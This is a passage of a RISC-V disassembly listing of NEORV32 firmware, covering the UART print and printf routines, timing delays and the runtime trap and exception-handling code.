a5,0(a5) 8f0: 00470713 addi a4,a4,4 8f4: fff68693 addi a3,a3,-1 8f8: 00f680a3 sb a5,1(a3) 8fc: ff0712e3 bne a4,a6,8e0 <__neorv32_uart_tohex+0x14> 900: 00058423 sb zero,8(a1) 904: 00008067 ret 00000908 <neorv32_uart0_available>: 908: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8> 90c: 01255513 srli a0,a0,0x12 910: 00157513 andi a0,a0,1 914: 00008067 ret 00000918 <neorv32_uart0_setup>: 918: ff010113 addi sp,sp,-16 91c: 00812423 sw s0,8(sp) 920: 00912223 sw s1,4(sp) 924: 00112623 sw ra,12(sp) 928: fa002023 sw zero,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0> 92c: fe002783 lw a5,-32(zero) # ffffffe0 <__ctr0_io_space_begin+0x1e0> 930: 00058413 mv s0,a1 934: 00151593 slli a1,a0,0x1 938: 00078513 mv a0,a5 93c: 00060493 mv s1,a2 940: 1fd000ef jal ra,133c <__udivsi3> 944: 01051513 slli a0,a0,0x10 948: 000017b7 lui a5,0x1 94c: 01055513 srli a0,a0,0x10 950: 00000713 li a4,0 954: ffe78793 addi a5,a5,-2 # ffe <__neorv32_rte_debug_exc_handler+0xbe> 958: 04a7e463 bltu a5,a0,9a0 <neorv32_uart0_setup+0x88> 95c: 0034f793 andi a5,s1,3 960: 00347413 andi s0,s0,3 964: fff50513 addi a0,a0,-1 968: 01479793 slli a5,a5,0x14 96c: 01641413 slli s0,s0,0x16 970: 00f567b3 or a5,a0,a5 974: 0087e7b3 or a5,a5,s0 978: 01871713 slli a4,a4,0x18 97c: 00c12083 lw ra,12(sp) 980: 00812403 lw s0,8(sp) 984: 00e7e7b3 or a5,a5,a4 988: 10000737 lui a4,0x10000 98c: 00e7e7b3 or a5,a5,a4 990: faf02023 sw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0> 994: 00412483 lw s1,4(sp) 998: 01010113 addi sp,sp,16 99c: 00008067 ret 9a0: ffe70693 addi a3,a4,-2 # ffffffe <__crt0_copy_data_src_begin+0xfffe64e> 9a4: 0fd6f693 andi a3,a3,253 9a8: 00069a63 bnez a3,9bc <neorv32_uart0_setup+0xa4> 9ac: 00355513 srli a0,a0,0x3 9b0: 00170713 addi a4,a4,1 9b4: 0ff77713 andi a4,a4,255 9b8: fa1ff06f j 958 <neorv32_uart0_setup+0x40> 9bc: 00155513 srli a0,a0,0x1 9c0: ff1ff06f j 9b0 <neorv32_uart0_setup+0x98> 000009c4 <neorv32_uart0_putc>: 9c4: 00040737 lui a4,0x40 9c8: fa002783 lw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0> 9cc: 00e7f7b3 and a5,a5,a4 9d0: fe079ce3 bnez a5,9c8 <neorv32_uart0_putc+0x4> 9d4: faa02223 sw a0,-92(zero) # ffffffa4 <__ctr0_io_space_begin+0x1a4> 9d8: 00008067 ret 000009dc <neorv32_uart0_getc>: 9dc: fa402503 lw a0,-92(zero) # ffffffa4 <__ctr0_io_space_begin+0x1a4> 9e0: fe055ee3 bgez a0,9dc <neorv32_uart0_getc> 9e4: 0ff57513 andi a0,a0,255 9e8: 00008067 ret 000009ec <neorv32_uart0_char_received>: 9ec: fa402503 lw a0,-92(zero) # ffffffa4 <__ctr0_io_space_begin+0x1a4> 9f0: 01f55513 srli a0,a0,0x1f 9f4: 00008067 ret 000009f8 <neorv32_uart0_print>: 9f8: ff010113 addi sp,sp,-16 9fc: 00812423 sw s0,8(sp) a00: 01212023 sw s2,0(sp) a04: 00112623 sw ra,12(sp) a08: 00912223 sw s1,4(sp) a0c: 00050413 mv s0,a0 a10: 00a00913 li s2,10 a14: 00044483 lbu s1,0(s0) a18: 00140413 addi s0,s0,1 a1c: 00049e63 bnez s1,a38 <neorv32_uart0_print+0x40> a20: 00c12083 lw ra,12(sp) a24: 00812403 lw s0,8(sp) a28: 00412483 lw s1,4(sp) a2c: 00012903 lw s2,0(sp) a30: 01010113 addi sp,sp,16 a34: 00008067 ret a38: 01249663 bne s1,s2,a44 <neorv32_uart0_print+0x4c> a3c: 00d00513 li a0,13 a40: f85ff0ef jal ra,9c4 <neorv32_uart0_putc> a44: 00048513 mv a0,s1 a48: f7dff0ef jal ra,9c4 <neorv32_uart0_putc> a4c: fc9ff06f j a14 <neorv32_uart0_print+0x1c> 00000a50 <neorv32_uart0_printf>: a50: fa010113 addi sp,sp,-96 a54: 04f12a23 sw a5,84(sp) a58: 04410793 addi a5,sp,68 a5c: 02812c23 sw s0,56(sp) a60: 03212823 sw s2,48(sp) a64: 03412423 sw s4,40(sp) a68: 03512223 sw s5,36(sp) a6c: 03612023 sw s6,32(sp) a70: 01712e23 sw s7,28(sp) a74: 01812c23 sw s8,24(sp) a78: 01912a23 sw s9,20(sp) a7c: 02112e23 sw ra,60(sp) a80: 02912a23 sw s1,52(sp) a84: 03312623 sw s3,44(sp) a88: 00050413 mv s0,a0 a8c: 04b12223 sw a1,68(sp) a90: 04c12423 sw a2,72(sp) a94: 04d12623 sw a3,76(sp) a98: 04e12823 sw a4,80(sp) a9c: 05012c23 sw a6,88(sp) aa0: 05112e23 sw a7,92(sp) aa4: 00f12023 sw a5,0(sp) aa8: 02500a13 li s4,37 aac: 00a00a93 li s5,10 ab0: 07300913 li s2,115 ab4: 07500b13 li s6,117 ab8: 07800b93 li s7,120 abc: 06300c13 li s8,99 ac0: 06900c93 li s9,105 ac4: 00044483 lbu s1,0(s0) ac8: 02049c63 bnez s1,b00 <neorv32_uart0_printf+0xb0> acc: 03c12083 lw ra,60(sp) ad0: 03812403 lw s0,56(sp) ad4: 03412483 lw s1,52(sp) ad8: 03012903 lw s2,48(sp) adc: 02c12983 lw s3,44(sp) ae0: 02812a03 lw s4,40(sp) ae4: 02412a83 lw s5,36(sp) ae8: 02012b03 lw s6,32(sp) aec: 01c12b83 lw s7,28(sp) af0: 01812c03 lw s8,24(sp) af4: 01412c83 lw s9,20(sp) af8: 06010113 addi sp,sp,96 afc: 00008067 ret b00: 0d449863 bne s1,s4,bd0 <neorv32_uart0_printf+0x180> b04: 00240993 addi s3,s0,2 b08: 00144403 lbu s0,1(s0) b0c: 05240263 beq s0,s2,b50 <neorv32_uart0_printf+0x100> b10: 00896e63 bltu s2,s0,b2c <neorv32_uart0_printf+0xdc> b14: 05840c63 beq s0,s8,b6c <neorv32_uart0_printf+0x11c> b18: 07940663 beq s0,s9,b84 <neorv32_uart0_printf+0x134> b1c: 02500513 li a0,37 b20: ea5ff0ef jal ra,9c4 <neorv32_uart0_putc> b24: 00040513 mv a0,s0 b28: 0540006f j b7c <neorv32_uart0_printf+0x12c> b2c: 09640663 beq s0,s6,bb8 <neorv32_uart0_printf+0x168> b30: ff7416e3 bne s0,s7,b1c <neorv32_uart0_printf+0xcc> b34: 00012783 lw a5,0(sp) b38: 00410593 addi a1,sp,4 b3c: 0007a503 lw a0,0(a5) b40: 00478713 addi a4,a5,4 b44: 00e12023 sw a4,0(sp) b48: d85ff0ef jal ra,8cc <__neorv32_uart_tohex> b4c: 0640006f j bb0 <neorv32_uart0_printf+0x160> b50: 00012783 lw a5,0(sp) b54: 0007a503 lw a0,0(a5) b58: 00478713 addi a4,a5,4 b5c: 00e12023 sw a4,0(sp) b60: e99ff0ef jal ra,9f8 <neorv32_uart0_print> b64: 00098413 mv s0,s3 b68: f5dff06f j ac4 <neorv32_uart0_printf+0x74> b6c: 00012783 lw a5,0(sp) b70: 0007c503 lbu a0,0(a5) b74: 00478713 addi a4,a5,4 b78: 00e12023 sw a4,0(sp) b7c: e49ff0ef jal ra,9c4 <neorv32_uart0_putc> b80: fe5ff06f j b64 <neorv32_uart0_printf+0x114> b84: 00012783 lw a5,0(sp) b88: 0007a403 lw s0,0(a5) b8c: 00478713 addi a4,a5,4 b90: 00e12023 sw a4,0(sp) b94: 00045863 bgez s0,ba4 <neorv32_uart0_printf+0x154> b98: 02d00513 li a0,45 b9c: 40800433 neg s0,s0 ba0: e25ff0ef jal ra,9c4 <neorv32_uart0_putc> ba4: 00410593 addi a1,sp,4 ba8: 00040513 mv a0,s0 bac: c19ff0ef jal ra,7c4 <__neorv32_uart_itoa> bb0: 00410513 addi a0,sp,4 bb4: fadff06f j b60 <neorv32_uart0_printf+0x110> bb8: 00012783 lw a5,0(sp) bbc: 00410593 addi a1,sp,4 bc0: 00478713 addi a4,a5,4 bc4: 0007a503 lw a0,0(a5) bc8: 00e12023 sw a4,0(sp) bcc: fe1ff06f j bac <neorv32_uart0_printf+0x15c> bd0: 01549663 bne s1,s5,bdc <neorv32_uart0_printf+0x18c> bd4: 00d00513 li a0,13 bd8: dedff0ef jal ra,9c4 <neorv32_uart0_putc> bdc: 00140993 addi s3,s0,1 be0: 00048513 mv a0,s1 be4: f99ff06f j b7c <neorv32_uart0_printf+0x12c> 00000be8 <neorv32_cpu_get_systime>: be8: ff010113 addi sp,sp,-16 bec: c81026f3 rdtimeh a3 bf0: c0102773 rdtime a4 bf4: c81027f3 rdtimeh a5 bf8: fed79ae3 bne a5,a3,bec <neorv32_cpu_get_systime+0x4> bfc: 00e12023 sw a4,0(sp) c00: 00f12223 sw a5,4(sp) c04: 00012503 lw a0,0(sp) c08: 00412583 lw a1,4(sp) c0c: 01010113 addi sp,sp,16 c10: 00008067 ret 00000c14 <neorv32_cpu_delay_ms>: c14: fd010113 addi sp,sp,-48 c18: 00a12623 sw a0,12(sp) c1c: fe002503 lw a0,-32(zero) # ffffffe0 <__ctr0_io_space_begin+0x1e0> c20: 3e800593 li a1,1000 c24: 02112623 sw ra,44(sp) c28: 02812423 sw s0,40(sp) c2c: 02912223 sw s1,36(sp) c30: 03212023 sw s2,32(sp) c34: 01312e23 sw s3,28(sp) c38: 704000ef jal ra,133c <__udivsi3> c3c: 00c12603 lw a2,12(sp) c40: 00000693 li a3,0 c44: 00000593 li a1,0 c48: 65c000ef jal ra,12a4 <__muldi3> c4c: 00050413 mv s0,a0 c50: 00058993 mv s3,a1 c54: f95ff0ef jal ra,be8 <neorv32_cpu_get_systime> c58: 00058913 mv s2,a1 c5c: 00050493 mv s1,a0 c60: f89ff0ef jal ra,be8 <neorv32_cpu_get_systime> c64: 00b96663 bltu s2,a1,c70 <neorv32_cpu_delay_ms+0x5c> c68: 05259263 bne a1,s2,cac <neorv32_cpu_delay_ms+0x98> c6c: 04a4f063 bgeu s1,a0,cac <neorv32_cpu_delay_ms+0x98> c70: 008484b3 add s1,s1,s0 c74: 0084b433 sltu s0,s1,s0 c78: 01390933 add s2,s2,s3 c7c: 01240433 add s0,s0,s2 c80: f69ff0ef jal ra,be8 <neorv32_cpu_get_systime> c84: fe85eee3 bltu a1,s0,c80 <neorv32_cpu_delay_ms+0x6c> c88: 00b41463 bne s0,a1,c90 <neorv32_cpu_delay_ms+0x7c> c8c: fe956ae3 bltu a0,s1,c80 <neorv32_cpu_delay_ms+0x6c> c90: 02c12083 lw ra,44(sp) c94: 02812403 lw s0,40(sp) c98: 02412483 lw s1,36(sp) c9c: 02012903 lw s2,32(sp) ca0: 01c12983 lw s3,28(sp) ca4: 03010113 addi sp,sp,48 ca8: 00008067 ret cac: 01c99913 slli s2,s3,0x1c cb0: 00445413 srli s0,s0,0x4 cb4: 00896433 or s0,s2,s0 00000cb8 <__neorv32_cpu_delay_ms_start>: cb8: 00040a63 beqz s0,ccc <__neorv32_cpu_delay_ms_end> cbc: 00040863 beqz s0,ccc <__neorv32_cpu_delay_ms_end> cc0: fff40413 addi s0,s0,-1 cc4: 00000013 nop cc8: ff1ff06f j cb8 <__neorv32_cpu_delay_ms_start> 00000ccc <__neorv32_cpu_delay_ms_end>: ccc: fc5ff06f j c90 <neorv32_cpu_delay_ms+0x7c> 00000cd0 <__neorv32_rte_core>: cd0: fc010113 addi sp,sp,-64 cd4: 02112e23 sw ra,60(sp) cd8: 02512c23 sw t0,56(sp) cdc: 02612a23 sw t1,52(sp) ce0: 02712823 sw t2,48(sp) ce4: 02a12623 sw a0,44(sp) ce8: 02b12423 sw a1,40(sp) cec: 02c12223 sw a2,36(sp) cf0: 02d12023 sw a3,32(sp) cf4: 00e12e23 sw a4,28(sp) cf8: 00f12c23 sw a5,24(sp) cfc: 01012a23 sw a6,20(sp) d00: 01112823 sw a7,16(sp) d04: 01c12623 sw t3,12(sp) d08: 01d12423 sw t4,8(sp) d0c: 01e12223 sw t5,4(sp) d10: 01f12023 sw t6,0(sp) d14: 34102773 csrr a4,mepc d18: 34071073 csrw mscratch,a4 d1c: 342027f3 csrr a5,mcause d20: 0807ca63 bltz a5,db4 <__neorv32_rte_core+0xe4> d24: 00071683 lh a3,0(a4) # 40000 <__crt0_copy_data_src_begin+0x3e650> d28: 00300593 li a1,3 d2c: 0036f693 andi a3,a3,3 d30: 00270613 addi a2,a4,2 d34: 00b69463 bne a3,a1,d3c <__neorv32_rte_core+0x6c> d38: 00470613 addi a2,a4,4 d3c: 34161073 csrw mepc,a2 d40: 00b00713 li a4,11 d44: 04f77c63 bgeu a4,a5,d9c <__neorv32_rte_core+0xcc> d48: 000017b7 lui a5,0x1 d4c: f4078793 addi a5,a5,-192 # f40 <__neorv32_rte_debug_exc_handler> d50: 000780e7 jalr a5 d54: 03c12083 lw ra,60(sp) d58: 03812283 lw t0,56(sp) d5c: 03412303 lw t1,52(sp) d60: 03012383 lw t2,48(sp) d64: 02c12503 lw a0,44(sp) d68: 02812583 lw a1,40(sp) d6c: 02412603 lw a2,36(sp) d70: 02012683 lw a3,32(sp) d74: 01c12703 lw a4,28(sp) d78: 01812783 lw a5,24(sp) d7c: 01412803 lw a6,20(sp) d80: 01012883 lw a7,16(sp) d84: 00c12e03 lw t3,12(sp) d88: 00812e83 lw t4,8(sp) d8c: 00412f03 lw t5,4(sp) d90: 00012f83 lw t6,0(sp) d94: 04010113 addi sp,sp,64 d98: 30200073 mret d9c: 00001737 lui a4,0x1 da0: 00279793 slli a5,a5,0x2 da4: 68070713 addi a4,a4,1664 # 1680 <symbols.0+0x14> da8: 00e787b3 add a5,a5,a4 dac: 0007a783 lw a5,0(a5) db0: 00078067 jr a5 db4: 80000737 lui a4,0x80000 db8: ffd74713 xori a4,a4,-3 dbc: 00e787b3 add a5,a5,a4 dc0: 01c00713 li a4,28 dc4: f8f762e3 bltu a4,a5,d48 <__neorv32_rte_core+0x78> dc8: 00001737 lui a4,0x1 dcc: 00279793 slli a5,a5,0x2 dd0: 6b070713 addi a4,a4,1712 # 16b0 <symbols.0+0x44> dd4: 00e787b3 add a5,a5,a4 dd8: 0007a783 lw a5,0(a5) ddc: 00078067 jr a5 de0: e441a783 lw a5,-444(gp) # 80000644 <__neorv32_rte_vector_lut> de4: f6dff06f j d50 <__neorv32_rte_core+0x80> de8: e481a783 lw a5,-440(gp) # 80000648 <__neorv32_rte_vector_lut+0x4> dec: f65ff06f j d50 <__neorv32_rte_core+0x80> df0: e4c1a783 lw a5,-436(gp) # 8000064c <__neorv32_rte_vector_lut+0x8> df4: f5dff06f j d50 <__neorv32_rte_core+0x80> df8: e501a783 lw a5,-432(gp) # 80000650 <__neorv32_rte_vector_lut+0xc> dfc: f55ff06f j d50 <__neorv32_rte_core+0x80> e00: e541a783 lw a5,-428(gp) # 80000654 <__neorv32_rte_vector_lut+0x10> e04: f4dff06f j d50 <__neorv32_rte_core+0x80> e08: e581a783 lw a5,-424(gp) # 80000658 <__neorv32_rte_vector_lut+0x14> e0c: f45ff06f j d50 <__neorv32_rte_core+0x80> e10: e5c1a783 lw a5,-420(gp) # 8000065c <__neorv32_rte_vector_lut+0x18> e14: f3dff06f j d50 <__neorv32_rte_core+0x80> e18: e601a783 lw a5,-416(gp) # 80000660 <__neorv32_rte_vector_lut+0x1c> e1c: f35ff06f j d50 <__neorv32_rte_core+0x80> e20: e641a783 lw a5,-412(gp) # 80000664 <__neorv32_rte_vector_lut+0x20> e24: f2dff06f j d50 <__neorv32_rte_core+0x80> e28: e681a783 lw a5,-408(gp) # 80000668 <__neorv32_rte_vector_lut+0x24> e2c: f25ff06f j d50 <__neorv32_rte_core+0x80> e30: e6c1a783 lw a5,-404(gp) # 8000066c <__neorv32_rte_vector_lut+0x28> e34: f1dff06f j d50 <__neorv32_rte_core+0x80> e38: e701a783 lw a5,-400(gp) # 80000670 <__neorv32_rte_vector_lut+0x2c> e3c: f15ff06f j d50 <__neorv32_rte_core+0x80> e40: e741a783 lw a5,-396(gp) # 80000674 <__neorv32_rte_vector_lut+0x30> e44: f0dff06f j d50 <__neorv32_rte_core+0x80> e48: e781a783 lw a5,-392(gp) # 80000678 <__neorv32_rte_vector_lut+0x34> e4c: f05ff06f j d50 <__neorv32_rte_core+0x80> e50: e7c1a783 lw a5,-388(gp) # 8000067c <__neorv32_rte_vector_lut+0x38> e54: efdff06f j d50 <__neorv32_rte_core+0x80> e58: e801a783 lw a5,-384(gp) # 80000680 <__neorv32_rte_vector_lut+0x3c> e5c: ef5ff06f j d50 <__neorv32_rte_core+0x80> e60: e841a783 lw a5,-380(gp) # 80000684 <__neorv32_rte_vector_lut+0x40> e64: eedff06f j d50 <__neorv32_rte_core+0x80> e68: e881a783 lw a5,-376(gp) # 80000688 <__neorv32_rte_vector_lut+0x44> e6c: ee5ff06f j d50 <__neorv32_rte_core+0x80> e70: e8c1a783 lw a5,-372(gp) # 8000068c <__neorv32_rte_vector_lut+0x48> e74: eddff06f j d50 <__neorv32_rte_core+0x80> e78: e901a783 lw a5,-368(gp) # 80000690 <__neorv32_rte_vector_lut+0x4c> e7c: ed5ff06f j d50 <__neorv32_rte_core+0x80> e80: e941a783 lw a5,-364(gp) # 80000694 <__neorv32_rte_vector_lut+0x50> e84: ecdff06f j d50 <__neorv32_rte_core+0x80> e88: e981a783 lw a5,-360(gp) # 80000698 <__neorv32_rte_vector_lut+0x54> e8c: ec5ff06f j d50 <__neorv32_rte_core+0x80> e90: e9c1a783 lw a5,-356(gp) # 8000069c <__neorv32_rte_vector_lut+0x58> e94: ebdff06f j d50 <__neorv32_rte_core+0x80> e98: ea01a783 lw a5,-352(gp) # 800006a0 <__neorv32_rte_vector_lut+0x5c> e9c: eb5ff06f j d50 <__neorv32_rte_core+0x80> ea0: ea41a783 lw a5,-348(gp) # 800006a4 <__neorv32_rte_vector_lut+0x60> ea4: eadff06f j d50 <__neorv32_rte_core+0x80> ea8: ea81a783 lw a5,-344(gp) # 800006a8 <__neorv32_rte_vector_lut+0x64> eac: ea5ff06f j d50 <__neorv32_rte_core+0x80> eb0: eac1a783 lw a5,-340(gp) # 800006ac <__neorv32_rte_vector_lut+0x68> eb4: e9dff06f j d50 <__neorv32_rte_core+0x80> eb8: eb01a783 lw a5,-336(gp) # 800006b0 <__neorv32_rte_vector_lut+0x6c> ebc: e95ff06f j d50 <__neorv32_rte_core+0x80> ec0: eb41a783 lw a5,-332(gp) # 800006b4 <__neorv32_rte_vector_lut+0x70> ec4: e8dff06f j d50 <__neorv32_rte_core+0x80> ec8: 0000 unimp eca: 0000 unimp ecc: 0000 unimp ece: 0000 unimp 00000ed0 <__neorv32_rte_print_hex_word>: ed0: fe010113 addi sp,sp,-32 ed4: 01212823 sw s2,16(sp) ed8: 00050913 mv s2,a0 edc: 00001537 lui a0,0x1 ee0: 00912a23 sw s1,20(sp) ee4: 72450513 addi a0,a0,1828 # 1724 <symbols.0+0xb8> ee8: 000024b7 lui s1,0x2 eec: 00812c23 sw s0,24(sp) ef0: 01312623 sw s3,12(sp) ef4: 00112e23 sw ra,28(sp) ef8: 01c00413 li s0,28 efc: afdff0ef jal ra,9f8 <neorv32_uart0_print> f00: 9a048493 addi s1,s1,-1632 # 19a0 <hex_symbols.0> f04: ffc00993 li s3,-4 f08: 008957b3 srl a5,s2,s0 f0c: 00f7f793 andi a5,a5,15 f10: 00f487b3 add a5,s1,a5 f14: 0007c503 lbu a0,0(a5) f18: ffc40413 addi s0,s0,-4 f1c: aa9ff0ef jal ra,9c4 <neorv32_uart0_putc> f20: ff3414e3 bne s0,s3,f08 <__neorv32_rte_print_hex_word+0x38> f24: 01c12083 lw ra,28(sp) f28: 01812403 lw s0,24(sp) f2c: 01412483 lw s1,20(sp) f30: 01012903 lw s2,16(sp) f34: 00c12983 lw s3,12(sp) f38: 02010113 addi sp,sp,32 f3c: 00008067 ret 00000f40 <__neorv32_rte_debug_exc_handler>: f40: ff010113 addi sp,sp,-16 f44: 00112623 sw ra,12(sp) f48: 00812423 sw s0,8(sp) f4c: 00912223 sw s1,4(sp) f50: 9b9ff0ef jal ra,908 <neorv32_uart0_available> f54: 1c050863 beqz a0,1124 <__neorv32_rte_debug_exc_handler+0x1e4> f58: 00001537 lui a0,0x1 f5c: 72850513 addi a0,a0,1832 # 1728 <symbols.0+0xbc> f60: a99ff0ef jal ra,9f8 <neorv32_uart0_print> f64: 34202473 csrr s0,mcause f68: 00900713 li a4,9 f6c: 00f47793 andi a5,s0,15 f70: 03078493 addi s1,a5,48 f74: 00f77463 bgeu a4,a5,f7c <__neorv32_rte_debug_exc_handler+0x3c> f78: 05778493 addi s1,a5,87 f7c: 00b00793 li a5,11 f80: 0087ee63 bltu a5,s0,f9c <__neorv32_rte_debug_exc_handler+0x5c> f84: 00002737 lui a4,0x2 f88: 00241793 slli a5,s0,0x2 f8c: 8e870713 addi a4,a4,-1816 # 18e8 <symbols.0+0x27c> f90: 00e787b3 add a5,a5,a4 f94: 0007a783 lw a5,0(a5) f98: 00078067 jr a5 f9c: 800007b7 lui a5,0x80000 fa0: 00b78713 addi a4,a5,11 # 8000000b <__ctr0_io_space_begin+0x8000020b> fa4: 14e40e63 beq s0,a4,1100 <__neorv32_rte_debug_exc_handler+0x1c0> fa8: 02876a63 bltu a4,s0,fdc <__neorv32_rte_debug_exc_handler+0x9c> fac: 00378713 addi a4,a5,3 fb0: 12e40c63 beq s0,a4,10e8 <__neorv32_rte_debug_exc_handler+0x1a8> fb4: 00778793 addi a5,a5,7 fb8: 12f40e63 beq s0,a5,10f4 <__neorv32_rte_debug_exc_handler+0x1b4> fbc: 00002537 lui a0,0x2 fc0: 88850513 addi a0,a0,-1912 # 1888 <symbols.0+0x21c> fc4: a35ff0ef jal ra,9f8 <neorv32_uart0_print> fc8: 00040513 mv a0,s0 fcc: f05ff0ef jal ra,ed0 <__neorv32_rte_print_hex_word> fd0: 00100793 li a5,1 fd4: 08f40c63 beq s0,a5,106c <__neorv32_rte_debug_exc_handler+0x12c> fd8: 0280006f j 1000 <__neorv32_rte_debug_exc_handler+0xc0> fdc: ff07c793 xori a5,a5,-16 fe0: 00f407b3 add a5,s0,a5 fe4: 00f00713 li a4,15 fe8: fcf76ae3 bltu a4,a5,fbc <__neorv32_rte_debug_exc_handler+0x7c> fec: 00002537 lui a0,0x2 ff0: 87850513 addi a0,a0,-1928 # 1878 <symbols.0+0x20c> ff4: a05ff0ef jal ra,9f8 <neorv32_uart0_print> ff8: 00048513 mv a0,s1 ffc: 9c9ff0ef jal ra,9c4 <neorv32_uart0_putc> 1000: ffd47413 andi s0,s0,-3 1004: 00500793 li a5,5 1008: 06f40263 beq s0,a5,106c <__neorv32_rte_debug_exc_handler+0x12c> 100c: 00002537 lui a0,0x2 1010: 8cc50513 addi a0,a0,-1844 # 18cc <symbols.0+0x260> 1014: 9e5ff0ef jal ra,9f8 <neorv32_uart0_print> 1018: 34002573 csrr a0,mscratch 101c: eb5ff0ef jal ra,ed0 <__neorv32_rte_print_hex_word> 1020: 00002537 lui a0,0x2 1024: 8d450513 addi a0,a0,-1836 # 18d4 <symbols.0+0x268> 1028: 9d1ff0ef jal ra,9f8 <neorv32_uart0_print> 102c: 34302573 csrr a0,mtval 1030: ea1ff0ef jal ra,ed0 <__neorv32_rte_print_hex_word> 1034: 00812403 lw s0,8(sp) 1038: 00c12083 lw ra,12(sp) 103c: 00412483 lw s1,4(sp) 1040: 00002537 lui a0,0x2 1044: 8e050513 addi a0,a0,-1824 # 18e0 <symbols.0+0x274> 1048: 01010113 addi sp,sp,16 104c: 9adff06f j 9f8 <neorv32_uart0_print> 1050: 00001537 lui a0,0x1 1054: 73050513 addi a0,a0,1840 # 1730 <symbols.0+0xc4> 1058: 9a1ff0ef jal ra,9f8 <neorv32_uart0_print> 105c: fb1ff06f j 100c <__neorv32_rte_debug_exc_handler+0xcc> 1060: 00001537 lui a0,0x1 1064: 75050513 addi a0,a0,1872 # 1750 <symbols.0+0xe4> 1068: 991ff0ef jal ra,9f8 <neorv32_uart0_print> 106c: f7c02783 lw a5,-132(zero) # ffffff7c <__ctr0_io_space_begin+0x17c> 1070: 0a07d463 bgez a5,1118 <__neorv32_rte_debug_exc_handler+0x1d8> 1074: 0017f793 andi a5,a5,1 1078: 08078a63 beqz a5,110c <__neorv32_rte_debug_exc_handler+0x1cc> 107c: 00002537 lui a0,0x2 1080: 8a050513 addi a0,a0,-1888 # 18a0 <symbols.0+0x234> 1084: fd5ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 1088: 00001537 lui a0,0x1 108c: 76c50513 addi a0,a0,1900 # 176c <symbols.0+0x100> 1090: fc9ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 1094: 00001537 lui a0,0x1 1098: 78050513 addi a0,a0,1920 # 1780 <symbols.0+0x114> 109c: fbdff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 10a0: 00001537 lui a0,0x1 10a4: 78c50513 addi a0,a0,1932 # 178c <symbols.0+0x120> 10a8: fb1ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 10ac: 00001537 lui a0,0x1 10b0: 7a450513 addi a0,a0,1956 # 17a4 <symbols.0+0x138> 10b4: fb5ff06f j 1068 <__neorv32_rte_debug_exc_handler+0x128> 10b8: 00001537 lui a0,0x1 10bc: 7b850513 addi a0,a0,1976 # 17b8 <symbols.0+0x14c> 10c0: f99ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 10c4: 00001537 lui a0,0x1 10c8: 7d450513 addi a0,a0,2004 # 17d4 <symbols.0+0x168> 10cc: f9dff06f j 1068 <__neorv32_rte_debug_exc_handler+0x128> 10d0: 00001537 lui a0,0x1 10d4: 7e850513 addi a0,a0,2024 # 17e8 <symbols.0+0x17c> 10d8: f81ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 10dc: 00002537 lui a0,0x2 10e0: 80850513 addi a0,a0,-2040 # 1808 <symbols.0+0x19c> 10e4: f75ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 10e8: 00002537 lui a0,0x2 10ec: 82850513 addi a0,a0,-2008 # 1828 <symbols.0+0x1bc> 10f0: f69ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 10f4: 00002537 lui a0,0x2 10f8: 84450513 addi a0,a0,-1980 # 1844 <symbols.0+0x1d8> 10fc: f5dff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 1100: 00002537 lui a0,0x2 1104: 85c50513 addi a0,a0,-1956 # 185c <symbols.0+0x1f0> 1108: f51ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 110c: 00002537 lui a0,0x2 1110: 8b050513 addi a0,a0,-1872 # 18b0 <symbols.0+0x244> 1114: f45ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 1118: 00002537 lui a0,0x2 111c: 8c050513 addi a0,a0,-1856 # 18c0 <symbols.0+0x254> 1120: f39ff06f j 1058 <__neorv32_rte_debug_exc_handler+0x118> 1124: 00c12083 lw ra,12(sp) 1128: 00812403 lw s0,8(sp) 112c: 00412483 lw s1,4(sp) 1130: 01010113 addi sp,sp,16 1134: 00008067 ret 00001138 <neorv32_rte_exception_uninstall>: 1138: 01f00793 li a5,31 113c: 02a7e263 bltu a5,a0,1160 <neorv32_rte_exception_uninstall+0x28> 1140: e4418793 addi a5,gp,-444 # 80000644 <__neorv32_rte_vector_lut> 1144: 00251513 slli a0,a0,0x2 1148: 00a78533 add a0,a5,a0 114c: 000017b7 lui a5,0x1 1150: f4078793 addi a5,a5,-192 # f40 <__neorv32_rte_debug_exc_handler> 1154: 00f52023 sw a5,0(a0) 1158: 00000513 li a0,0 115c: 00008067 ret 1160: 00100513 li a0,1 1164: 00008067 ret 00001168 <neorv32_rte_setup>: 1168: ff010113 addi sp,sp,-16 116c: 000017b7 lui a5,0x1 1170: 00112623 sw ra,12(sp) 1174: 00812423 sw s0,8(sp) 1178: 00912223 sw s1,4(sp) 117c: cd078793 addi a5,a5,-816 # cd0 <__neorv32_rte_core> 1180: 30579073 csrw mtvec,a5 1184: 00000413 li s0,0 1188: 01d00493 li s1,29 118c: 00040513 mv a0,s0 1190: 00140413 addi s0,s0,1 1194: 0ff47413 andi s0,s0,255 1198: fa1ff0ef jal ra,1138 <neorv32_rte_exception_uninstall> 119c: fe9418e3 bne s0,s1,118c <neorv32_rte_setup+0x24> 11a0: 00c12083 lw ra,12(sp) 11a4: 00812403 lw s0,8(sp) 11a8: 00412483 lw s1,4(sp) 11ac: 01010113 addi sp,sp,16 11b0: 00008067 ret 000011b4 <neorv32_rte_check_isa>: 11b4: 30102673 csrr a2,misa 11b8: 400007b7 lui a5,0x40000 11bc: 10078793 addi a5,a5,256 # 40000100 <__crt0_copy_data_src_begin+0x3fffe750> 11c0: 00f67733 and a4,a2,a5 11c4: 04f70463 beq a4,a5,120c <neorv32_rte_check_isa+0x58> 11c8: fe010113 addi sp,sp,-32 11cc: 00112e23 sw ra,28(sp) 11d0: 02051463 bnez a0,11f8 <neorv32_rte_check_isa+0x44> 11d4: 400005b7 lui a1,0x40000 11d8: 00002537 lui a0,0x2 11dc: 10058593 addi a1,a1,256 # 40000100 <__crt0_copy_data_src_begin+0x3fffe750> 11e0: 91850513 addi 